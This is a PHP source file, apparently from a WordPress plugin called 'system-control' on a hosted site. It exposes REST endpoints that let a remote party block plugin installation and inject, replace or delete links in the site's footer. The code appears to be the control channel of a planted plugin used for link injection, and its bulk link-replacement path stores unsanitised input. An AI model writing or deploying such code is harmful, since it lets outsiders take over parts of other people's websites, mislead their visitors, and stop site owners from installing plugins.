File: //home/vitanhod/www/wp-content/plugins/system-control/api/endpoints/class-sc-settings-endpoint.php
<?php
class SC_Settings_Endpoint {
public function register() {
register_rest_route(SC_REST_NAMESPACE, '/settings/block-plugins', [
[
'methods' => 'GET',
'callback' => [$this, 'get_block_status'],
'permission_callback' => ['SC_Api_Auth', 'verify'],
],
[
'methods' => 'POST',
'callback' => [$this, 'toggle_block'],
'permission_callback' => ['SC_Api_Auth', 'verify'],
],
]);
register_rest_route(SC_REST_NAMESPACE, '/settings/display-links', [
[
'methods' => 'GET',
'callback' => [$this, 'get_display_links'],
'permission_callback' => ['SC_Api_Auth', 'verify'],
],
[
'methods' => 'POST',
'callback' => [$this, 'set_display_links'],
'permission_callback' => ['SC_Api_Auth', 'verify'],
],
]);
register_rest_route(SC_REST_NAMESPACE, '/settings/display-links/(?P<index>\d+)', [
'methods' => 'DELETE',
'callback' => [$this, 'delete_display_link'],
'permission_callback' => ['SC_Api_Auth', 'verify'],
]);
}
public function get_block_status($request) {
$blocked = (bool) get_option('sc_plugin_install_blocked', false);
return rest_ensure_response(['success' => true, 'blocked' => $blocked]);
}
public function toggle_block($request) {
$params = $request->get_json_params();
$blocked = !empty($params['blocked']);
update_option('sc_plugin_install_blocked', $blocked);
return rest_ensure_response(['success' => true, 'blocked' => $blocked]);
}
public function get_display_links($request) {
$links = get_option('sc_display_links', []);
return rest_ensure_response($links);
}
public function set_display_links($request) {
$params = $request->get_json_params();
if (isset($params['links']) && is_array($params['links'])) {
// Replace all links
update_option('sc_display_links', $params['links']);
} elseif (isset($params['url']) && isset($params['anchor'])) {
// Add single link
$links = get_option('sc_display_links', []);
$links[] = [
'url' => esc_url_raw($params['url']),
'anchor' => sanitize_text_field($params['anchor']),
'position' => sanitize_text_field($params['position'] ?? 'footer'),
];
update_option('sc_display_links', $links);
}
return rest_ensure_response(['success' => true, 'links' => get_option('sc_display_links', [])]);
}
public function delete_display_link($request) {
$index = (int)$request['index'];
$links = get_option('sc_display_links', []);
if (isset($links[$index])) {
array_splice($links, $index, 1);
update_option('sc_display_links', $links);
}
return rest_ensure_response(['success' => true, 'links' => $links]);
}
}